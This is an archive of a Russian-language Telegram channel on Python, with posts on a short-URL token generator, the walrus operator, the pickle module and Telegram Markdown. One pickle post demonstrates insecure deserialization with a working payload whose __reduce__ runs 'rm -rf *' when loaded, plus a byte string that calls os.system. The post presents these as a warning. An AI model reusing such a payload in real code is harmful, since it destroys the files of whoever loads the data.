Cool and Fun Python
前往频道在 Telegram
472
订阅者
无数据24 小时
无数据7 天
无数据30 天
帖子存档
Для начала признаюсь, что не люблю однострочники. Особенно те, которые уходят за край второго 😱 монитора. Код должен быть в первую очередь читаемым и понятным. Но моржовый оператор из прошлого поста вызывал бурную активность в узких кругах. Поэтому ловите финальную версию:
from secrets import token_urlsafe
def generate_token(n=5, prefix="/"):
"""Генерирует токен с префиксом для короткого url размерностью n, исключая символы двойного прочтения."""
while (token := token_urlsafe(n)) and any(char in token for char in ("-", "_", "O", "l", "I", "0", "1",)):
pass
return f"{prefix}{token}"
Финальная версия, из прода. Ещё тёплая. Тёплых вам выходных 🫶
✍️ - беру на вооружение
🤯 - как это работает?
🎉 - пятница, время отдохнуть от кодаПраздники подходят к концу. А идеи для канала регулярно появляются 💡
Начнём пост с функции генерации уникальных токенов:
# Импортируем функцию token_urlsafe из модуля secrets
from secrets import token_urlsafe
# Определяем функцию generate_token с параметрами n и prefix, по умолчанию n=5, prefix='/'
def generate_token(n=5, prefix="/"):
"""Генерирует токен с префиксом для короткого url размерностью n без символа "-" в токене."""
# Входим в бесконечный цикл
while True:
# Генерируем случайный токен и добавляем префикс
token = f"{prefix}{token_urlsafe(n)}"
# Проверяем, содержит ли токен символ "-"
if "-" not in token:
# Если не содержит, то выходим из цикла
break
# Возвращаем значение переменной token
return token
А теперь вспомним про моржовый оператор в Python. Писал про него 🔗тут и 🔗тут.
Вспомнили? Тогда перепишем код покороче:
from secrets import token_urlsafe
def generate_token(n=5, prefix="/"):
while "-" in (token := f"{prefix}{token_urlsafe(n)}"):
pass
return token
Цикл, который ничего не делает в теле цикла, много чего делает в условии цикла.
Забирайте лайфхак в копилку 😉Продолжаем мариновать объекты Python. Начало тут
Чем же так небезопасен pickle? В первую очередь программистом, который его использует неправильно.
Ловите пример:
import pickle
res = pickle.loads(b"cos\nsystem\n(S'echo Hello world!'\ntR.")
В результате загрузки данных из строки байт в терминал отправится сообщение "Hello world!". Немного не то, для чего создавался модуль. Кстати, в переменной res будет хранится ноль, а не текст или команда.
Но почему так? Дело в том, что модуль выполняет дандер __reduce__ замаринованного объекта в процессе преобразования файла/строки в объекты Python.
import pickle
import os
class MaliciousCode:
def __reduce__(self):
# При вызове функции pickle.load() будет выполнена команда удаления всех файлов в текущей директории
return (os.system, ('rm -rf *',))
malicious_object = MaliciousCode()
with open('data.pickle', 'wb') as file:
pickle.dump(malicious_object, file)
with open('data.pickle', 'rb') as file:
loaded_object = pickle.load(file)
Отличных новогодних праздников. И не стреляйте себе в ногу 😉Добрый вечер, коллеги!
С наступившим 2024 годом. Как ваше самочувствие? Может хотите маринованных огурчиков, огуречного рассола? 🥒
Модуль pickle
Помимо всем привычного и безопасного JSON для сериализации и десериализации данных в Python есть модуль pickle, выполняющий аналогичные действия с питоновскими объектами
Важно! Модуль pickle небезопасен. Распаковывайте только те данные, которым вы доверяете.
Держите простой пример маринования трёх объектов в один файл:
import pickle
obj1 = {'name': 'Alice', 'age': 25}
obj2 = [1, 2, 3, 4, 5]
obj3 = ('a', 'b', 'c')
with open('data.pickle', 'wb') as f:
pickle.dump(obj1, f)
pickle.dump(obj2, f)
pickle.dump(obj3, f)
В результате получим бинарный data.pickle с неудобным для чтения человеком содержимым, примерно таким:
� }�(� name�� Alice�� age�K u.� � ]�(K K K K K e.� � � a�� b�� c���.
Но если спустя время нам понадобятся наши словари и списки, достаём разносолы из файла:
import pickle
with open('data.pickle', 'rb') as f:
loaded_obj1 = pickle.load(f)
loaded_obj2 = pickle.load(f)
loaded_obj3 = pickle.load(f)
print(loaded_obj1) # {'name': 'Alice', 'age': 25}
print(loaded_obj2) # [1, 2, 3, 4, 5]
print(loaded_obj3) # ('a', 'b', 'c')
Успехов в новом году. И не только в консервациях 😉Итоги голосования. Python на втором месте 🥈 Не хватило всего 30 голосов. Мы могли это сделать. Но сделаем в следующем году
А пока всех с наступающими праздниками. Да прибудет с вами любимый язык программирования ❤️
А давайте устроим новогоднее чудо и проголосуем за Python в финале битвы языков программирования 🎄❤️🔥
https://tproger.ru/articles/final-bitvy-yazykov-programmirovaniya-v-2023-godu
О Markdown и Телеграм
Если простыми словами, то Markdown превращает символы в оформление. Это язык разметки, как и HTML. Например двойное подчеркивание ➡️ __ ⬅️ до и после слова делает его курсивным. Как видите Телеграм поддерживает Markdown.
После очередного обновления в Телеграм появилась подсветка синтаксиса. Работает так:
\` \` \` Python # три открывающих апострофа и название ЯП
код
\` \` \` # три закрывающих апострофа
print('Hello world!')
Пишите свои примеры в комментариях
P.S. В прошлых статьях также улучшено форматированиеНемного Python Fun 😂🤣😂
Оживить канал. Напомнить о нём подписчикам. Заодно и админу. Чтобы за выходные подготовил свежий пост. До скорой встречи
От 🌹 лица 🌹 IT 🌹 сообщества 🌹 поздравляю 🌹 лучшую 🌹 половину 🌹 канала 🌹 с 🌹 международным 🌹 женским 🌹 днём 🌹
Поздравляем с днём рождения великодушного пожизненного диктатора - Гвидо Ван Россума 🎂
